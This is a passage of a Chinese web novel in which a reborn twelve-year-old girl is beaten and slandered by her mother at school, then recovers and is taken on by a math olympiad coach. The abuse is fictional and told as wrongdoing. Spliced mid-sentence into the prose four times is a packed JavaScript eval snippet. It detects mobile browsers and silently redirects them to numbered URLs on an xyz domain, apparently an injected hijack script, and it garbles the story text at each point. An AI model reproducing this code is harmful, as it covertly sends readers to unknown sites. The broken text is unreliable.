陈佳怡站直了身子,看上去像被人砸了一下后背,舔了舔嘴,先笑了一下,又假装毫不在意地侧过脸,说:“你也知道了?哈哈,应该是运气好,谭老师正好想到我会弹钢琴……” 陈佳怡的话被打断了。班上已经来了大半人,所有人都突然被一阵突兀的响动惊醒了,他们不约而同地转向教室后门的方向,隐隐约约的高跟鞋声,还有女人的骂声,东西掉到地上,纸张的刷刷声,男人的喝喊,夹杂着熟悉的尖叫——那似乎是英语王老师的声音。 “发生什么了?” 宋晓龙手忙脚乱地把偷吃的零食塞到桌肚里,莫名其妙地转身,把脑袋伸得很长。 好几个多动症的男生都跳起来,迫不及待地跑到教室后门去张望,一会儿,很快有瞭望兵回来报告了:“家长闹事!” 忽然之间,裴春之的心跳响彻脑海,她清楚地感到胸腔心脏的燃烧,脉搏和涌上头脑的血都在同时向她发出预警: ——这是冲我来的。 陆林花把皮筋套到手腕上,枯黄的头发散下来。 她把包重重地砸在教师办公室进门的桌子上,桌子的主人英语老师王慧雅被吓了一大跳,发出一声短促的尖叫。 谭长松站起来,目瞪口呆地看着陆林花披头散发,像个疯子一样毫无顾忌地大喊:“你们怎么教的学生?我女儿全被你们毁了!” 女儿?她女儿谁啊! 谭长松确信自己根本没见过这位女士,他把写了一半的教案扔下,陪着笑走上去,还没走到陆林花面前,这个女人就已经把办公室的门打开到最大,然后冲外面大喊:“到底谁在带坏我的女儿?谁给裴春之钱了?谁让你们给钱的?” 裴春之?裴春之! 谭长松瞠目结舌,他对裴春之的印象好得不能再好了,她是那种安安静静的女生,作业、考试,永远完美,字迹工整,简直不像十二岁的孩子。他整理了一下思路,才艰难地说:“这位家长,我们坐下来好好谈谈?” 陆林花坐下来,斜着身子,歪着脑袋,身体前倾着,像那种被摆成夸张姿势的盆栽,咄咄逼人地说:“怎么称呼?” “我姓谭,谭长松,是裴春之的班主任。” “哦,谭老师。”她皮笑肉不笑,“你知道我们家裴春之情况吗?” 谭长松挤着笑:“她很聪明,也很努力,天赋很好,从不让人担心……” “砰!” 陆林花伸手在桌子上猛猛地砸了一下,把办公室里原本想装作无事发生的老教师全都吓了一大跳,好几个人走上来喊着什么“别动手”,办公室乱成一锅粥。陆林花尖锐到有些破音的声音划开混乱:“你知道她每天都不回家吗?每天半夜回家,上周末,她不知道跑到哪里去了……鬼知道她哪里来的钱!你们老师什么都不知道,算什么老师?有没有尽到责任?领的那点逼工资,干事了吗?把学生教给你们就装傻充愣——” “这位家长! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332509|183303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们能不能心平气和地……” “心平气和你妈呢!” 陆林花破口大骂:“我女儿有可能在外面卖屁股,你让我怎么心平气和?” 谭长松脸全红了,他气得说不出话,这个在数学上口齿清晰思路流利的男老师,一时间居然被气得差点眼前一黑。 ——这女的说什么呢!她真的是,真的是裴春之那种文静小孩的亲妈吗? 恰好是自习课,越来越多学生大着胆子跑出去,想听墙角,然后又有热心的人,回到教室来把朋友也拉过去看热闹,他们纷纷兴奋地喊着:“家长闹事了!” “是谁的家长?” “好像是裴春之的妈妈。” “为什么闹事?” “不知道……好像和钱有关。” 陈佳怡自然听到了,她不知所措地停下来,小心翼翼地看裴春之的反应。她没什么表情,但也有些不正常的僵硬,她似乎坐得有些过于直了。 “……春之?” 她怯生生地喊,这时,她突然想到,自己刚刚还自以为是地说什么“你绝对不懂有这样父母的感受”。陈佳怡顿时羞愧难当,浑身不自在地左顾右盼。班里已经空空荡荡,所有人都涌去了办公室的方向,说实话,陈佳怡也想去看看,但裴春之待在这儿,她不放心。 终于,面无表情一动不动的裴春之深吸一口气,站了起来。 “我们走。” 她轻声说。 看热闹的学生们已经搞明白发生什么了——原因无他,这个疯疯癫癫的中年女人,真的好不在意脸面之类的东西,她特意抵着办公室的门,冲着走廊上叫魂,把所谓的事情经过说得清清楚楚。 预科班的学生都傻了,他们才十二岁,固然互相之间常常开黄色笑话……但谁会真的遇到这种事啊?这种事真的可以大声说的吗?他们油然而生一种莫名的兴奋,隐秘的好奇。 就在这时,裴春之从教室走出来了,她轻而易举地拨开结块的人群,缓缓走到教师办公室的门口,陆林花看见她了,她伸手就想抓住裴春之的头发,裴春之侧身闪过,倒退了两步,保持了一个安全的距离。 “贱骨头,你还有脸来听……你听听别人都是怎么说你的,在外面野混到十点多不回家……” 裴春之说:“妈,你不就是想要钱吗?” 陆林花动作太快了,她猛地向前,再次狠狠扇了裴春之一巴掌。人群发出一片惊呼,刚刚还巴不得凑到脸上看热闹的学生全都后退了。谭长松如梦初醒,勃然大怒地去驱赶看热闹的小学生。好几个老师跑过来,试图拉住裴春之和陆林花。 “有话好好说!不要打架!” “家长——不能打孩子!” 混乱得没边了。裴春之摸了摸脸,不是不想躲,是陆林花还是完全压制了十二岁的裴春之。她强忍着泪水,继续试图和她的母亲说说道理:“妈,你这样是拿不到钱的,你这是造谣诽谤,不是诽谤我,是在诽谤我的班主任。” 跟陆林花说你侵犯了裴春之的人身权益她只会当成放屁,反而把事情拖到谭长松这样的成年人身上,陆林花才会考虑一下后果。裴春之见陆林花凶狠地瞪着她,深知还不够火,她舔了舔嘴唇,忽然大喊: “快报警!” “谭老师——报警!” 12. 减肥成功的高考状元12 已经不可能息事宁人了,那就把事情彻底闹大吧。 就在裴春之大喊报警的一瞬间,陆林花怒到了极致,她猛地冲出来,抓住了裴春之的衣领,像击打一个布娃娃一样轻易,她真的气到了,一切也许都只是本能了。她把她女儿的脑袋,狠狠地往墙上砸着,嘴上依然不干不净——小学生都被吓坏了,他们一边被谭长松往后驱赶,一边不住地看裴春之和陆林花打成一团的身影。 她瘦了。陈佳怡没由来地想到,她之前居然没有发现。 事情结束得莫名其妙。裴春之已经意识模糊,感觉自己像一滩烂肉一样倒在地上,然后被人抚摸着脑袋,被人抬上担架,有人给她抽血,还有人给她测了血压。最后,她被痛醒了。 “缝针,别动。” 医生对她说。 她的肩膀上撕裂了一道口子,后来听别人提起才知道原来陆林花脱了高跟鞋,用鞋子的高跟打了她。 还有轻微脑震荡,她的脑袋被陆林花往墙上至少砸了二十几下,据说,最后是警察把发疯了的陆林花拦下来的,有人叫了救护车,因为她肩膀的伤口流了一地的血,实在吓人。 裴春之沉默不语,她坐在新安医院的铁制长椅上,现在她被安排着去打吊水,她摸了摸脑袋,感觉耳边仿佛还有连绵不断的回音。 下午,谭长松来了,他看上去焦头烂额,见了裴春之,就在她旁边一屁股坐下,先掏出中年男人必备的茶杯喝了一大口水。 “对不起,老师。” 裴春之难过地说。 谭长松摆了摆手。裴春之等待着他的开口,也许,他会说一些心灵鸡汤之类的东西……“裴春之。” 果然,谭长松很严肃地开口了,裴春之坐直身子,表示自己在认真听。 “你知道你期中考成绩吗?” 这是什么话题?裴春之慢了一拍,下意识说了一句“不知道”。然后有些茫然,自打陆林花这样闹了一通,裴春之简直有种恍如隔世之感了,她这才想到,不错,前几天,他们确实考完了期中考。 “你是年级第一。” 谭长松说,他看了看裴春之毫无意外的脸,笑着继续说:“你的数学满分,附加题全对……裴春之,你想不想参加大市奥数赛?” “啊?” 裴春之傻乎乎地反问了一句“啊”,上辈子好像没这回事……谭长松不知道她是二周目开挂,以为她真的有数学天赋。裴春之顿时哭笑不得,她组织了一下措辞,刚想拒绝,谭长松塞了她一套试卷。 “做做看。” 裴春之动笔了。 在笔尖落到纸面的一瞬间,她已经忘记了一切。她又回到了她最擅长的领域,与数字、算数、字里行间的欺诈贴身搏斗,与纸面背后的出题老师短兵相接。她不用去思考肩膀上的疼痛,也不用再去想迷惘的未来和过去……她只需要做题。 医院的喧闹顿时被削薄了,她将自己置身在一个仿若真空的环境,笔尖沙沙作响如蚕,等到她拔身而出,发现谭长松正两眼放光地看着她。 “天才。” 谭长松低声说,“裴春之,你是毋庸置疑的天才。 从来没有人认为她是天才过。 这一刻裴春之怦然心动,但是很快她就冷静下来,绞了绞手指,心知谭长松根本不知道她其实是十八岁的成年人降维打击。谭长松已经把她的奥数卷子批完了,她并没有全做出来,好几道题她只能想到高中、大学的解法,但显然如果她敢写出来的话就有点奇怪了。 谭长松长舒一口气,他似乎在组织语言,过了一会儿才说:“105分。” 试卷满分150,这是去年大市奥数比赛的初试卷子,看似105分很低,但是进入复试的门槛成绩只要40分。 105分的成绩,已经是毋庸置疑的极高分了,因为这种试卷上,大约本来就有60分左右的题是不打算让十二岁的学生们能写得出来的。 “但是还不够,”谭长松继续说,“你必须得在复试中还能拿到80分以上,才有可能进入省赛。” 他又依依不舍地看了一遍裴春之填写的试卷,然后说:“我已经没有资格教你了,我的奥数只是三脚猫功夫……裴春之,你是有天分的孩子,你必须再找一个更好的老师。” 再找一个老师? 认真的吗? 陆林花连一分钱都不想给她,更罔论为她花钱上补习班。裴春之保持了沉默,谭长松继续说道:“我认识一位退休的老教授,他当过省赛的出题人,甚至当过高考的出题人。他家在铜州市区……有点困难的是,他收学生标准很严苛。” “你的数学意识很好,很有逻辑思维,也很会做题。但是你的奥数基础太差了,什么找规律,容斥问题,几何模型,羊吃草……这些基础问题你都刚学没多久,你知道的东西太少了。奥数,是有自己的一套体系的。” 谭长松想了想,写下一个书单,递给裴春之。 “这七本书你得看完,其中前三本可以大致看看,是理论类的书,例题不多,但剩下四本是练习题册,你必须全部做完。” “时间太紧张了,下周末,我带你去见崔教授,在那之前,如果你能做到,也许并非没有试一试的可能。” 裴春之问:“为什么这么着急?” “明年二月初试开始,崔老师就算收了你这个学生,也得培养你个两三个月。现在已经十一月了,必须尽快。” “我明白了。” 裴春之恭恭敬敬地接过纸条。 把七本书铭记于心,两周刷完上万页的书和几千道题,这是十二岁小孩不可能完成的任务——但是谭长松真的抽中ssr了。 因为裴春之知道自己一定能做到,也只有她可以做到。 谭长松又坐了一会儿,说了些数学有关的事情,还自己做主,把她这两周的数学作业全免了。 事情全部交代完,谭长松终于离开了,临走前还塞给裴春之几套试卷。裴春之望着谭长松的背影,心里忽然燃起一团火。 她当然知道谭长松是来安慰她的。 但是谭长松全程没有提起一句她的母亲,也没有提这件事如何处理。他只是给她数学,给她夸奖,告诉她:“你是天才”,以这种姿态,否定了陆林花口中的“贱人”。 她遇到了非常好的老师——谭长松有很多缺点,班里的差生恨他恨得牙痒,喊他“谭狗”,但是师德和人品这种东西,其实是不能从平日里责骂看出来的。谭长松的口头禅“你是猪吗”,如今看来和陆林花的辱骂比起来,压根算不上什么人身羞辱。 裴春之转了两圈笔,笑起来,就着医院昏暗的灯光,一点一点写起了往年奥数初试卷子。 裴春之写完两张卷子后对照答案自批了一下,发现分数基本停滞在105分上下,一份112,一份101分。她暂停了刷题,把这三张的错题全部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332510|183303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重看了一遍,很快意识到自己欠缺的部分出奇的一致:她擅长数论和应用题,但几何欠缺很多,她老是忍不住想建坐标系硬解,但小学奥数里这是超纲的做法。 裴春之正在思考几何题的其他做法时,面前突然投下了一片阴影。 “喂。” 是裴载之。他背着书包,一屁股坐在裴春之旁边,看上去有些不知所措。最后还是裴春之开口:“你怎么来了?” 在她的印象里,裴载之没这么好心。 上辈子她被他推下楼梯骨折,裴载之也就来了一次,而且态度还差极了。 裴载之纠结了一会儿,别扭地问:“你伤到哪儿了?” “脑震荡和肩膀,缝针了。” “哦,哦。” 他像个傻子一样说了两遍哦,然后又踌躇一阵,终于忍不住开口问道:“那你还能打篮球吗?” 原来是因为这个。 裴春之明白过来,裴载之其实很喜欢教她打篮球,但是这个小孩臭嘴里根本不会好好说话,他是担心她以后没法打篮球了。 “可以的,但得等两周。” “那就好。”裴载之肉眼可见地松了一大口气,他站起来,大概是准备走了。裴春之刚把头低下去,裴载之突然又说道:“你最近不要回家了。” 他抓了抓脑袋,“警察把老妈,呃,拘留了。” “拘留了?” 这裴春之倒是不知道,不过她也好奇起来,陆林花心心念念的赔偿,要到了吗? “那学校给她钱了吗?” “没有,但是……” 裴载之欲言又止。 “你说。” “你……唉,你以后上学不要太在意别人的议论……” 裴春之哭笑不得,向难得婆婆妈妈的裴载之再三保证她一点也不害怕。裴载之这才向她解释:“是这样的,老妈认定有人给你钱了,然后警察也来了以后,宋晓龙就被李乔揭发了,你知道李乔吗?李明铭的儿子。他说宋晓龙喜欢你,给你钱,要包养你什么的。” 裴春之沉默了。她眨了眨眼睛,平日里那个闷闷的找她下单写作业的客户李乔似乎和裴载之口中的这个李乔完全不是一个人。她几乎不能相信,怎么会有人可以做出这样卑劣、颠倒黑白……的事情。 “宋晓龙怎么说?” “他当然不承认啦,和李乔差点打起来,最后,宋晓龙说……呃……” “说什么?” “宋晓龙说,李乔才是包养你了的人,他喜欢你,给你钱。” 裴载之小心翼翼地看着裴春之的脸色,惊恐地发现裴春之不仅没有伤心之类的表情,反而渐渐笑了。她按着额头,头发垂下遮住了半张脸,断断续续地笑出了声。 “我知道了。” 最后裴春之这样说。她又恢复到面无表情的状态,平视着裴载之,忽然仿佛想到什么,冲他微妙地笑了一下。 “那你呢?你怎么知道这些的?你怎么看?” “呃……” 裴载之还是有点怕裴春之,但他转念一想,裴春之都伤成这样了,肯定也没什么战斗力了。她他清清嗓子,故意欠揍地说:“我当然知道,宋晓龙他们都是我的小弟,我说什么他们就做什么的程度,还有好几个人上赶着要告诉我发生什么了呢,当然比你消息灵通。” “至于我怎么想的嘛……裴春之,你的人际关系差不多要完蛋了。” 13. 减肥成功的高考状元13 和亲生母亲在学校大打出手的后果是灾难性的。 裴春之一周多没有去上学,她在医院养伤,连家也没回。期间裴载之偶尔会来她床边坐坐,削个苹果啥的。他当然也不会照顾人,过来看裴春之纯粹是出于没事干闲得慌。裴永明倒是来了一趟,还围着围裙,身上一股极其浓烈的烟味儿。裴春之忍不住咳嗽了两声,裴永明尴尬地在围裙上擦手。 “裴春之,你回去得好好给你妈道歉。” 他一上来什么都没问,先斩钉截铁地给裴春之下了判决,那就是“她是错的,她妈妈是对的”。裴春之想说话,又把话给咽了回去。她本想问问:为什么?却立刻想到,其实也不需要问这种没意义的话,裴永明一定会瞪大眼睛,不敢置信地反诘道:“她可是你妈!” “我知道了。”她回答道,但绝不是承诺她要这么做的意思。裴永明看她身上还绑着绷带,没再说什么难听的话,转而开始唠家常。先是不经意地说到陆林花被拘留了好几天,他们家属去接人才把她弄出来;然后又说,裴春之的医药费,全部都由学校出钱支付了,因为陆林花在警局也大闹了一场,言辞凿凿当时是一片混战云云。可怜新安镇小学一个乡镇小学,根本没配备监控这种高端设备,导致警察最后息事宁人,决定让学校破财消灾了事。 裴春之心里道,陆林花会做出这样的事真是毫不意外,她也算是如愿以偿,拿到赔偿了。 “你这次真的太过分了。”裴永明严肃道,“在外面还敢顶嘴,难怪你妈妈说你欠揍。” “……” 裴永明絮絮叨叨了半个小时,全方位多层次地对裴春之进行了一场细致的人身攻击。裴春之无话可说,她用时不时的细微点头向裴永明表示她还在听,实际上已经在脑海里复习了三轮新学的应用题公式套路。裴永明离开病房的那一瞬间,她立即抽出了谭长松给她的其中一套卷子——她从来没这么想做过数学题。 “你认识那个小孩吗?” “裴家的,你不知道?” “事情闹得这么大,这个是主角啊,你居然不知道?” “听说了,学校还没吃过那么大的亏呢,她妈妈当年也是有名的,你说不定也认识呢,陆林花!” “哎哟!明林饭馆的女儿啊!” “我还去那儿吃过饭呢,这家饭店老板娘出了名的脾气差,难怪会去学校闹事。” “她去闹事干什么?” “她说她女儿被那个了!” “我去!不能吧,这病历上,这小孩才十二三岁啊?” “我怎么知道?你这么好奇,你去问问呗。” “滚啊你——” 新安镇的医院很小,还很旧,修建于上世纪八十年代,三十多年的建筑年龄让它的瓷砖都泛黄。杨悦然是今年刚刚大专毕业入职的小护士,她从窗口好奇地张望着,可以看见门缝里那个新来的小病人的侧脸。这个病人很奇怪,一方面是她入院时就甚嚣尘上的闹事传言,另一方面就是她没日没夜地埋头在床上写作业,用功到了让人怀疑她是不是高考生的程度。 杨悦然捧着脸,对旁边的学姐小声嘀咕:“她胖胖的,一直在学习诶,这种人不会干那种事情吧?是不是她妈妈搞错了?” “我觉得未必,人不可貌相嘛,再说了,亲生老妈都这么说了,如果不是真的,亲妈会这么闹?”学姐煞有其事地说,言之凿凿,“亲妈是不会害小孩的,人家那么做肯定有那么做的道理。” “可是她才十二岁啊!” “万一是遇到恋童/癖呢?” “那也不是她的错了吧?”杨悦然小声说,她觑到学姐不认同的神色,声音越来越小,最后不再替这个陌生女孩辩解了。反正和她也没什么关系! 三天后,有个穿着条纹衬衫,拎着保温瓶的中年男教师找到护士站,出示了身份证件,向他们证明自己是这个奇怪病人的数学老师。“我叫谭长松。”这个男老师大概是跑过来的,气喘吁吁地说着。 学姐站起来给他的学生办理了出院手续,但等这个男老师一走,立刻就露出了洋洋得意和鄙夷的神情,对杨悦然压低声音道:“就是他!” “啊?”杨悦然已经快把之前那次讨论给忘了,学姐恼火地又重复了一遍之前的推论,然后兴奋地介绍起了现在新安镇上的传闻:据说,这个姓谭的老师就是被裴春之老妈揪着在地上揍的对象,他又是个男老师,这原因不就一目了然了?一定是他对裴春之做了什么不好的事情,只不过是猥亵还是□□的区别罢了! 啊!杨悦然小声叫了一下,某根八卦神经兴奋地抽动着。“看上去道貌岸然的啊!” “对啊!更何况,那个小女孩也不好看,胖乎乎的,也不知道怎么搞上的!” 学姐说完后还意犹未尽,于是指了杨悦然去收拾那个女学生离开后的病房。杨悦然走过去,发现病房里出奇地干净,没有烟头,没有垃圾,也没有乱七八糟的果核,甚至不像住过人。杨悦然头一次这么轻松地收拾了被套就结束了战局,她忽然对这个女孩越发好奇,忍不住张望了一下她离开前的垃圾桶。 垃圾桶里只有层层叠叠的演算纸和铅笔屑。 “我今天带你去见崔老师。” 在护士站里已经身败名裂的谭长松看上去和一周前毫无区别,裴春之把七本奥数书都背在书包里,谭长松见了就帮她拎到自己手上,他一边拿东西一边问:“题做得怎么样了?” “已经完成了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332511|183303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前天就已经写完了,因为裴春之喜欢多留出一些时间去复盘错题,这一周她是把病房当成全天候自习室来用的,每天睡七个小时,除了上厕所和换药,几乎全在做题。当然,其实小学奥数并没有那么难,她大概只用了两天多就搞明白绝大多数理论了,多出来的时间,与其说她是在摄入新知识,不如说她是在努力屏蔽高中的数学知识,看见一些求坐标的题目努力不求导简直快把裴春之憋出病来了。 谭长松笑起来,把厚壁玻璃茶杯放到花坛上,就地翻看起了裴春之的练习本。裴春之看他神情,猜到他其实并不相信她能把题做完。 谭长松脸上的笑渐渐淡了,牙齿咬着下嘴唇,他看了眼裴春之,又抽出另一本书出来,哗啦啦一翻,前面大半本都有细致的草稿演算过程,后面倒是没有了,大题的空白处只写了答案。谭长松拔出脑袋,问:“是把答案抄上去了?” 裴春之莫名其妙地看着他,一丝不苟地回答:“是太简单了,直接就把答案写上去了。” “……” 谭长松知道裴春之不会撒谎,顿时觉得剩下几本练习册也不用看了。他把书本塞回书包,招了辆出租车,一上车就对司机说:“去市里,铜州市花港小区,知道吗?” “知道,那里房价可不便宜。”司机叼着烟,热心地塞给谭长松一根利群。 谭长松显然心动了,他扭头看了看后座的裴春之,最后把烟别到了胸口。 “崔老师多大了?” 裴春之小声问。 “五十几岁了吧?他本来还没到退休年龄,两年前发现了一个肿瘤,现在提前退休在家养病了。要不是突然这个病,他说不定还能参与过几年的全国奥赛出题呢。” 这么厉害?裴春之陡然肃容,她上辈子高中的时候被赶鸭子上架地报名了数理化三科竞赛,但基本都只拿了省二三等奖的水平。 竞赛这种东西,没有特意去学,能考成这样已经很厉害了,但省赛和国赛的难度也决不能同一论之。这个崔老师绝对是相当厉害的数学老师。 “这样的老师,会看上我吗?” “怎么不会?” 谭长松怒了,他坐在副驾驶,却把大半个身子扭过来,把司机都吓了一跳。裴春之赶紧往后缩了点,谭长松的唾沫星子差点喷到脸上。 “你能不能有点自知之明!你他妈是天才啊!” 裴春之愈发心虚了,“老师你说是那就是吧。” “你——” 谭长松气笑了,他把为数不多的头发抹了抹,另一只手把利群折成了两半。 “你等着吧!这个崔老头,他不收你为徒,就是眼瞎!我可从来没见过学奥数三周,水平直逼华赛一等奖的小孩!” 14. 减肥成功的高考状元14 谭长松带着裴春之走到一片高档小区前,这里绿化做得很好,隔岸横河,柳树成荫,街道侧种了法国泡桐。裴春之研究了一下公交站牌,这里是市政府附近,难怪看得格外体面。 “崔老师为什么会收小学奥数?” 裴春之实在忍不住好奇。她一路看下来,这位神乎其神的崔老师一定是国内知名的数学老师,能混成出题人的,绝对不缺送礼的人。一般来说,这种老师连高中生竞赛都要花重金聘请,哪轮得到她一个小学生凑热闹? “你运气好!前几年,崔老师都不研究小学数学竞赛的,恰好去年开始研究的。” 真有这么巧的事?裴春之心里嘟囔,谭长松不跟她多嘴了,忙着和花港小区的保安掰扯。在留了电话号等一系列复杂手续后,谭长松总算领着裴春之进了小区,找到单元楼,坐上了电梯。 这个年代能有这么好的装修很不容易,裴春之家里还是小平房呢!谭长松很紧张,电梯上升的几分钟里,他把保温杯颠来倒去了三四次。裴春之突然想到一个重要问题,她拉了拉谭长松衣角,小声道:“老师,我们不用带见面礼吗?” “你还蛮懂的吗?”谭长松笑起来,“不用,崔老师不喜欢收礼那套。” 电梯门开了。谭长松走到门前,理了理衣服,按下门铃。门里传来凶猛的狗叫,随后是拖鞋踢踏踢踏的声音。很快,一个中年妇女跑出来开了门。 “是找……” “是找崔老师的,我是崔老师以前的学生,在铜州青年教师培养讲座上认识的崔老师。”谭长松笑得换了一张脸,“崔老师在吗?我之前给他打过招呼的,有一个好苗子,想请崔老师看看有没有天分。” 中年妇女笑了,她连连点头,往房间里喊了句老崔,让开身子,裴春之像跟屁虫一样跟在谭长松后面坐下来。裴春之感觉自己好像浑身都缩小了,处处不自在。坐下来后,裴春之才发现靠近厨房的饭桌上还坐着个男孩,正盘着双腿佝偻着后背做题。看见裴春之和谭长松两个人,他只是抬了一下头就立刻垂了下去,继续写题。 中年妇女给他们端来了果盘,但谭长松和裴春之都像小学生一样挺直着背。忽然,一个毛茸茸的东西挤上裴春之小腿,她吓了一跳,低头捉住,才发现是只袖珍的小泰迪,银灰色的毛,圆头圆脑,非常可爱。 “泰迪。”她小声说,谭长松用脚踢了踢她,大概是暗示她别随便摸人家狗。裴春之赶紧坐正身子。一个头发乌黑,满年皱纹的中年男人严肃地走了出来,他看着并不老,至少没有什么白头发,眼睛很有神,戴着一副方形无框眼镜。裴春之感受到他的视线,并不羞涩,毫不介意地与他对视。 “老师好。”她恭恭敬敬地说。 “你好,小朋友。” 出乎意料,老头似乎只是长得凶,开口后并不吓人。崔老师看向谭长松,想了想,说:“我记得你,你很有数学天赋,没有留在市里吗?” “老师,我是定向师范,教完这几年,我再考虑去不去市里。”谭长松对崔老师还记得自己这件事又惊又喜,忙不迭地解释起来。 崔老师笑了一下,坐到另一侧的沙发上,姿态很放松,问道:“这是你学生?” “是的,她叫裴春之,是我班上的学生。” 裴春之发现谭长松很克制。这可很奇妙,谭长松一向想到什么说什么,可他在崔老师面前却说得很少,照理来说,这个时候他该像推销员一样天花乱坠地说一大堆了,就像他平时在班上捧裴春之一样。但他什么也没说,只是身子前倾,呈现出颇为急切,又兼具隐忍的姿态。 老人“嗯”了一声,抿了口茶,依然不紧不慢,他转过身,对后面从没出过声的男孩说:“星星,选套卷子。” 男孩站起来,从一大叠卷子里抽了一张出来,习以为常地递到了沙发前的玻璃桌上。崔老师把卷子往裴春之面前推了推,平静地说:“做做看,孩子。” 裴春之扬了扬眉,玻璃桌上整齐地摆放着一整套紫砂茶具,但中间原本应该安置各类茶夹、茶匙的理茶器里齐刷刷摆着十来只自来水笔,活脱脱把一个茶筒当成了笔筒。裴春之抽出一只笔,立即开始做试卷,她对谭长松之前一些行为的揣测聚拢,缓慢在心中成型。 她想,这位崔老师不喜欢收礼,他并不贪财;他声望足够,一定不喜欢听虚话,而是喜欢看实实在在的东西——那就是成绩。所以谭长松闭嘴了,在这位数学老师面前,不能炫技,也不能张扬,他大概率不会喜欢。 想到这里,裴春之沉静下来。她会好好对待这份题,她不会提前交卷了,如果崔老师不喊停,她就一遍一遍地检查下去。耐心,她有的是。 “时间到。” 崔老师从厨房踱步回来,裴春之做题的时候,他去厨房烧菜去了,谭长松则起到了一个给崔夫人解闷的作用,裴春之从没见过他这样谄媚地对哪个人。至于那个男孩,他是整个房间里裴春之唯一的战友,他从头到尾连厕所都没去一次,一直在埋头写题。 崔老师给自己倒了杯茶,从茶筒里抽出支红笔,一只手把眼镜扶近,对着光批改起来。他动作非常利索,大段的证明,只是一扫他就已经知道对错。不到三十秒,薄薄的试卷纸就完成了它的使命。崔老师捏了捏眼镜骨架,抬起头看向裴春之。 “优点是基础很扎实。”他慢吞吞地吐出来一句。 旁边的谭长松难掩扭曲的神色,他看上去下巴要掉地上了。裴春之拼命忍住笑,心里猜到谭长松在想什么:基础扎实?她才接触奥数一个月有没有?基础扎实在哪儿? “缺点是没有想象力。简单点说,就是还不够聪明。” 崔老师放下卷子,摘下眼镜,一边背过手解围裙,一边说:“你能做出来的题,都是通过大量训练可以学会的题目,常规的奥数常见题,你学的很认真,也有一些天赋,所以别人做不出来的变种题,你也可以想到解法。但是有一些题目并不考验题库储备,而是考验思路,你往往就歇菜了。” 他说得一点也没错。 裴春之心里想,谭长松觉得她是天才,是因为他无法想象有人可以在三周实现高强度奥数训练的效果,但是崔老师能看出来她的一些答题倾向。裴春之表情毫无变化,仍然恭恭敬敬。 “但是。” 崔老师笑起来。 “小谭也没说错,你还真是个好苗子——你叫什么名字?” “裴春之。” “好的,小裴。我叫崔成光,你喊我崔老师,老师,都可以。”他温和地说。 裴春之歪了歪脑袋。 “崔老师?” “对。”崔成光笑了一下,然后指了指后面做题的男孩说:“这是我外孙,沈星映,六年级。” 裴春之幡然醒悟。她顿时明白为什么国家级奥数大师突然开始研究小学奥数——原来是作为姥爷的拳拳爱孙之心。至于她,还有许多也许以后会来崔老师家里上课的小学生,大概都只是正好乘上了这股东风罢了。 崔成光走到书柜前,翻出几本书递给裴春之。裴春之接过翻了一下,被吓了一跳,上面全都是密密麻麻的笔记,每道题都被红笔黑笔蓝笔的痕迹乌压压地覆盖了。 “这些是星星用过的二手书,你记一下书名,回去买一套。” 裴春之把书翻到第一页,目光却被主编的名字摄去了,主编的名字不是别的,而是“崔成光”三个大字。 他居然还编写过小学奥数书?裴春之继续往下看,立即意识到不对。 这是初中奥数。 崔老头笑起来,解答道:“快人一步,才能玩到破解版的数学。” 旁边的谭长松已经乐不可支了,他看上去对裴春之被收下这件事骄傲得无与伦比,像个拖地机器人一样在客厅的角落走来走去。裴春之看了他一眼,只好自己提出最后一个致命疑问:“崔老师,我可以问问上课的时间、频率和费用吗?” 崔成光反问她:“你家住得远吗?” “在新安镇上。” “公交车过来得一个多小时吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332512|183303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那你周日早上过来,待到晚上回去,平时就不来了,可以吗?” “可以。” “费用,每个月两千块,给我当个养老基金吧,哈哈。” 崔成光笑起来,有些得意地喝起茶。裴春之立刻说:“太谢谢老师了。” 两千块,每周五六个小时泡在老师家里,这绝对是骨折价,估计是不少奥赛高中生求都求不来的价格,所以崔成光十分高兴,露出那样一副等着对方道谢的表情。裴春之侧脸注意了一下谭长松表情,谭老师果然也大吃一惊,表情激动地按着裴春之道谢。 “哐啷。” 